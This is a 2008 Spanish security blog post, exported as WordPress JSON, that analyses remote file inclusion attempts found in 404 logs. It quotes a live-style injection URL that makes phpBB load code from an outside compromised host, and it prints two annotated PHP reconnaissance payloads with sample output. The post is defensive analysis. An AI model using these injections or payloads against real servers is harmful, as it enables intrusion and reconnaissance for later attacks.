{"id":2220,"date":"2008-10-15T00:16:08","date_gmt":"2008-10-14T23:16:08","guid":{"rendered":"http:\/\/www.sahw.com\/wp\/?p=2220"},"modified":"2008-10-15T00:16:08","modified_gmt":"2008-10-14T23:16:08","slug":"obtencion-masiva-de-informacion-tecnica-de-servidores-asi-trabajan-los-atacantes","status":"publish","type":"post","link":"https:\/\/www.sahw.com\/wp\/2008\/10\/15\/obtencion-masiva-de-informacion-tecnica-de-servidores-asi-trabajan-los-atacantes\/","title":{"rendered":"Obtenci?n masiva de informaci?n t?cnica de servidores: as? trabajan los atacantes"},"content":{"rendered":"<p>Hola,<\/p>\n<p>Recientemente instal? un plugin para WordPress que se llama <a href=\"http:\/\/alexking.org\/projects\/wordpress\/readme?project=404-notifier\">404 notifier<\/a>. Este plugin es muy ?til, ya que para cada <em>hit<\/em> que provoque <a href=\"http:\/\/es.wikipedia.org\/wiki\/Error_404\">un error 404<\/a>, el motor del blog me env?a un correo electr?nico informando de que alguien ha intentado acceder a un contenido sin ?xito.<\/p>\n<p>Estos <em>plugins<\/em> son muy ?tiles para detectar no s?lamente grandes cantidades de contenidos que se han vuelto inaccesibles, como sucede en un cambio de <em><a href=\"http:\/\/es.wikipedia.org\/wiki\/Permalink\">permalinks<\/a><\/em> o de directorios, sino para afinar y corregir enlaces rotos que por la raz?n que sea, han sido incluidos en los motores de b?squeda con nomenclaturas distintas a las actuales (por ejemplo, la antigua denominaci?n de categor?as del blog, ya que, por poner un ejemplo, lo que antes era <a href=\"http:\/\/www.sahw.com\/wp\/archivos\/category\/freestyle\/\">http:\/\/www.sahw.com\/wp\/archivos\/category\/freestyle\/<\/a> ahora es <a href=\"http:\/\/www.sahw.com\/wp\/categorias\/freestyle\/\">http:\/\/www.sahw.com\/wp\/categorias\/freestyle\/<\/a>)<\/p>\n<p>Pero este <em>plugin<\/em> tiene otra funci?n interesante, y esa no es otra que identificar <em>exploits<\/em>. Hoy vamos a ver un ejemplo real. Tengo que agradecer a <acronym xml:lang=\"es\" title=\"No seas curioso anda :)\" lang=\"en\">SdP<\/acronym> su cooperaci?n, ya que mis nociones de Perl son limitadas, y sin embargo, las suyas son muy elevadas, y con su ayuda he podido generar un script que barra un fichero <em>mbox<\/em> de Thunderbird donde conservo los mensajes de <em>404 notifier<\/em>, automatizando la extracci?n de hiperenlaces anidados en URLs leg?timas. Gracias :D<\/p>\n<p><strong>1. Un ejemplo de un correo originado por <em>404 notifier<\/em> que contiene un enlace leg?timo<\/strong><\/p>\n<p>Este es un ejemplo real de un correo del plugin, en el que como podemos ver, hay un informe de error 404 provocado por un usuario cuando intentaba acceder a un contenido:<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.sahw.com\/images\/malware\/404legitimo.png\" alt=\"404 legitimo\" \/><\/p>\n<p>Como resulta f?cil comprobar, aparece claramente una URL de destino <a href=\"http:\/\/www.sahw.com\/wp\/favicon.ico\">http:\/\/www.sahw.com\/wp\/favicon.ico<\/a>. Efectivamente, si visit?is ese enlace, obtendremos un 404, porque no hay un favicon ah? alojado. El <em>favicon<\/em> del dominio sahw.com est? alojado en <a href=\"http:\/\/www.sahw.com\/favicon.ico\">http:\/\/www.sahw.com\/favicon.ico<\/a><\/p>\n<p><strong>2. Un ejemplo de un correo originado por <em>404 notifier<\/em> que contiene un enlace malicioso<\/strong><\/p>\n<p>Observad ahora <a href=\"http:\/\/www.sahw.com\/images\/malware\/404malicioso.png\">este correo<\/a>. Como pod?is ver (es un ejemplo real, vivo en el momento de publicar esta informaci?n, aunque en la imagen no aparece completo), se advierte un error 404 al intentar acceder a la URL <em> http:\/\/www.sahw.com\/wp\/archivos\/2005\/08\/12\/diez-razones-pa&#8230;r-en-internet-explorer-7\/\/modules\/PNphpBB2\/includes\/db.php?phpbb_root_path=<strong>http:\/\/www.bahai.org.ve\/\/sistem.txt?<\/strong><\/em>. Pero fijaos que el error lo provoca un intento de inyecci?n que, en ?ltima instancia, trataba de acceder a <a href=\"http:\/\/www.bahai.org.ve\/\/sistem.txt?\">http:\/\/www.bahai.org.ve\/\/sistem.txt?<\/a>, direcci?n que al ser accedida muestra lo siguiente:<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.sahw.com\/images\/malware\/servidor_comprometido.png\" alt=\"servidor comprometido\" \/><\/p>\n<p><strong>3. Analizando<\/strong><\/p>\n<p>?Qu? pasa si cogemos un total de 707 mensajes generados por <em>404 notifier<\/em> y extraemos las URLs maliciosas que puedan contener. El resultado es este listado, en el que se enumeran 45 servidores comprometidos al servicio de los atacantes (en su mayor?a, vivos en el momento de publicar este art?culo)<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.sahw.com\/images\/malware\/listadourlsofuscadas.png\" alt=\"servidores comprometidos\" \/><\/p>\n<p>Un porcentaje nada desde?able. El 6,3% de los errores 404 provocados en este blog procede de ataques, o si se prefiere, casi 7 de cada 100 accesos a contenidos inexistentes del blog no han sido provocados por la ausencia de contenidos, sino por la mala intenci?n de un grupo de atacantes.<\/p>\n<p><strong>4. ?Y qu? hace ese c?digo que aparece anteriormente?<\/strong><\/p>\n<p>Veamos el contenido<\/p>\n<pre lang=\"php\">\r\n< ?\r\necho \"ALBANIA\"; < --- texto libre del atacante\r\n$alb = @php_uname(); < --- devuelve una descripci?n del sistema operativo\r\n$alb2 = system(uptime); < -- devuelve el tiempo que lleva un sistema sin reiniciarse\r\n$alb3 = system(id); <-- imprime el UID de la cuenta con la que se ejecuta el script\r\n$alb4 = @getcwd(); <-- devuelve el directorio de trabajo\r\n$alb5 = getenv(\"SERVER_SOFTWARE\"); <-- variable de contorno que informa del tipo de servidor web y su versi?n\r\n$alb6 = phpversion(); <-- versi?n de PHP en ejecuci?n\r\n$alb7 = $_SERVER['SERVER_NAME']; <-- variable de contorno, devuelve el nombre de la m?quina, alias DNS o de la IP.\r\n$alb8 = gethostbyname($SERVER_ADDR); <-- variable de contorno, devuelve la IP del servidor\r\n$alb9 = get_current_user(); <-- usuario con el que se ejecuta un script PHP\r\n$os = @PHP_OS; <-- versi?n reducida de php_uname(), s?lo muestra el nombre del sistema operativo\r\n\r\n===========================================\r\nEl siguiente bloque s?lo imprime lo obtenido anteriormente\r\n===========================================\r\n\r\necho \"os: $os\";\r\necho \"uname -a: $alb\";\r\necho \"uptime: $alb2\";\r\necho \"id: $alb3\";\r\necho \"pwd: $alb4\";\r\necho \"user: $alb9\";\r\necho \"phpv: $alb6\";\r\necho \"SoftWare: $alb5\";\r\necho \"ServerName: $alb7\";\r\necho \"ServerAddr: $alb8\";\r\necho \"UNITED ALBANIANS aka ALBOSS PARADISE\"; < --- otra firma\r\nexit; <--- finaliza el script\r\n?><\/pre>\n<p>Una ejecuci?n tendr?a un aspecto similar al siguiente:<\/p>\n<blockquote><p><em>ALBANIA<br \/>\n15:52:09 up 13 days, 22:05, 2 users, load average: 0.00, 0.01, 0.00 uid=33(www-data) gid=33(www-data) grupos=33(www-data) os: Linux<br \/>\nuname -a: Linux 2.6.24-21-generic #1 SMP Mon Aug 25 17:32:09 UTC 2008 i686<br \/>\nuptime: 15:52:09 up 13 days, 22:05, 2 users, load average: 0.00, 0.01, 0.00<br \/>\nid: uid=33(www-data) gid=33(www-data) grupos=33(www-data)<br \/>\npwd: \/home\/XXXXXXXX\/public_html\/exploitphp<br \/>\nuser: XXXXXXXX<br \/>\nphpv: 5.2.4-2ubuntu5.3<\/p>\n<p>SoftWare: Apache<br \/>\nServerName: 192.168.1.3<br \/>\nServerAddr:<br \/>\nUNITED ALBANIANS aka ALBOSS PARADISE<\/em><\/p><\/blockquote>\n<p><strong>5. ?Cu?l es el mecanismo que los atacantes emplean para obtener la informaci?n t?cnica de un servidor?<\/strong><\/p>\n<p>El ataque se fundamenta en lanzar contra listas ingentes de servidores inyecciones similares a la mostrada, con el objetivo de obtener informaci?n t?cnica de las m?quinas. Si consigo ejecutar en el servidor A (en este caso, lo intentaron contra mi blog) el c?digo malicioso ubicado en el servidor B (por ejemplo, el ejemplo de <a href=\"http:\/\/www.bahai.org.ve\/\/sistem.txt?\">http:\/\/www.bahai.org.ve\/\/sistem.txt?<\/a>) los atacantes obtendr?an informaci?n t?cnica de mi servidor. Esto se basa en que algunos productos PHP, especialmente <a href=\"http:\/\/phpnuke.org\/\">PHPNuke<\/a> y <a href=\"http:\/\/www.phpbb.com\/\">phpBB<\/a>, son susceptibles de este tipo de inyecciones, y permiten la ejecuci?n de c?digo malicioso inyectado desde otros sitios web, previamente comprometidos para servir el c?digo a ejecutar. Y para colmo de males, ambos productos est?n muy extendidos, con lo que se trata de lanzar muchas peticiones, y luego recoger con la ca?a informaci?n de muchos servidores. Es una simple cuesti?n estad?stica, donde el ?nico coste que hay que poner en lo alto de la mesa es el ancho de banda para que un script Perl (casi todos los accesos ten?an <em>User Agent<\/em> libwww-perl\/5.80) ejecute miles de intentos de inyecci?n contra miles de sitios cada d?a.<\/p>\n<p><strong>6. ?Por qu? hacen esto?<\/strong><\/p>\n<p>Obviamente, para obtener informaci?n t?cnica de servidores, que facilite ataques dirigidos posteriores. Por ejemplo, si de la ejecuci?n anterior obtenemos que el servidor 192.168.1.3 corre una versi?n de PHP (<em>phpv: 5.2.4-2ubuntu5.3<\/em>) vulnerable, <a href=\"http:\/\/secunia.com\/advisories\/product\/13446\/?task=advisories\">que lo es<\/a>, los atacantes ya tienen informaci?n suficiente para tratar de explotarlo, porque saben que en esa IP hay un producto susceptible de ataques.<\/p>\n<p>Por otro lado, estas ejecuciones remotas permiten ir censando m?quinas, y generar datos suficientes para explotar versiones determinadas de PHP, o del propio servidor Web, cuando aparezcan nuevas versiones y las actuales queden obsoletas. Si hoy me hago una lista de versiones PHP actualizadas (5.2.6), y ma?ana aparece una versi?n 5.2.7 que corrige fallos de seguridad, ya tengo una lista de sitios que, en ausencia de actualizaci?n, son blancos ideales para ser atacados.<\/p>\n<p><strong>7. ?Es esto algo nuevo?<\/strong><\/p>\n<p>Lamentablemente, no. El ejemplo real que hemos visto lo bautiz? en su momento <a href=\"http:\/\/www.eset-la.com\/\">el laboratorio de Eset<\/a>, fabricante de NOD32, como <em>PHP\/Zapchast.C<\/em>. Tiene otras denominaciones, y es un tipo de malware que lleva rondando la red, bajo este formato, desde m?s o menos abril de 2008.<\/p>\n<p>Eso s?, el c?digo va cambiando. Mirad el ejemplo, tambi?n real, de <a href=\"http:\/\/motookazja.com.pl\/admin\/libs\/config.txt??\">http:\/\/motookazja.com.pl\/admin\/libs\/config.txt??<\/a>, donde se introducen nuevas variables informativas, como el espacio en disco:<\/p>\n<pre lang=\"php\">\r\n< ?php\r\nfunction ConvertBytes($number)\r\n{\r\n        $len = strlen($number);\r\n        if($len < 4)\r\n        {\r\n                return sprintf(\"%d b\", $number);\r\n        }\r\n        if($len >= 4 && $len < =6)\r\n        {\r\n                return sprintf(\"%0.2f Kb\", $number\/1024);\r\n        }\r\n        if($len >= 7 && $len < =9)\r\n        {\r\n                return sprintf(\"%0.2f Mb\", $number\/1024\/1024);\r\n        }\r\n   \r\n        return sprintf(\"%0.2f Gb\", $number\/1024\/1024\/1024);\r\n                           \r\n}\r\n\r\necho \"knowledgeteam<br>\";\r\n$un = @php_uname();\r\n$up = system(uptime);\r\n$id1 = system(id);\r\n$pwd1 = @getcwd();\r\n$sof1 = getenv(\"SERVER_SOFTWARE\");\r\n$php1 = phpversion();\r\n$name1 = $_SERVER['SERVER_NAME'];\r\n$ip1 = gethostbyname($SERVER_ADDR);\r\n$free1= diskfreespace($pwd1);\r\n$free = ConvertBytes(diskfreespace($pwd1));\r\nif (!$free) {$free = 0;}\r\n$all1= disk_total_space($pwd1);\r\n$all = ConvertBytes(disk_total_space($pwd1));\r\nif (!$all) {$all = 0;}\r\n$used = ConvertBytes($all1-$free1);\r\n$os = @PHP_OS;\r\n\r\n\r\necho \"knowledgeteam was here ..\";\r\necho \"uname -a: $un\";\r\necho \"os: $os\";\r\necho \"uptime: $up\";\r\necho \"id: $id1\";\r\necho \"pwd: $pwd1\";\r\necho \"php: $php1\";\r\necho \"software: $sof1\";\r\necho \"server-name: $name1\";\r\necho \"server-ip: $ip1\";\r\necho \"free: $free\";\r\necho \"used: $used\";\r\necho \"total: $all\";\r\nexit;\r\n<\/pre>\n<p><strong>8. ?C?mo evitar se parte de la trama?<\/strong><\/p>\n<p>Si administras un servidor Web, mant?n siempre actualizados el software base y todos los productos. Emplea contrase?as y protocolos de acceso seguros, para impedir que nadie aloje en tus p?ginas c?digo de este tipo.<\/p>\n<p>Y revisa peri?dicamente los logs, para detectar patrones similares al descrito. No te queda otra :)<\/p>\n<p>Un saludo,<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hola, Recientemente instal? un plugin para WordPress que se llama 404 notifier. Este plugin es muy ?til, ya que para cada hit que provoque un error 404, el motor del blog me env?a un correo electr?nico informando de que alguien ha intentado acceder a un contenido sin ?xito. Estos plugins <a href=\"https:\/\/www.sahw.com\/wp\/2008\/10\/15\/obtencion-masiva-de-informacion-tecnica-de-servidores-asi-trabajan-los-atacantes\/\" class=\"btn btn-link continue-link\">Leer texto completo<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16],"tags":[350,351,349,205,348],"class_list":["post-2220","post","type-post","status-publish","format-standard","hentry","category-malware","tag-code-injection","tag-inyeccion-codigo","tag-php","tag-vulnerabilidades","tag-zapchastc"],"_links":{"self":[{"href":"https:\/\/www.sahw.com\/wp\/wp-json\/wp\/v2\/posts\/2220","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sahw.com\/wp\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sahw.com\/wp\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sahw.com\/wp\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sahw.com\/wp\/wp-json\/wp\/v2\/comments?post=2220"}],"version-history":[{"count":0,"href":"https:\/\/www.sahw.com\/wp\/wp-json\/wp\/v2\/posts\/2220\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sahw.com\/wp\/wp-json\/wp\/v2\/media?parent=2220"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sahw.com\/wp\/wp-json\/wp\/v2\/categories?post=2220"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sahw.com\/wp\/wp-json\/wp\/v2\/tags?post=2220"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}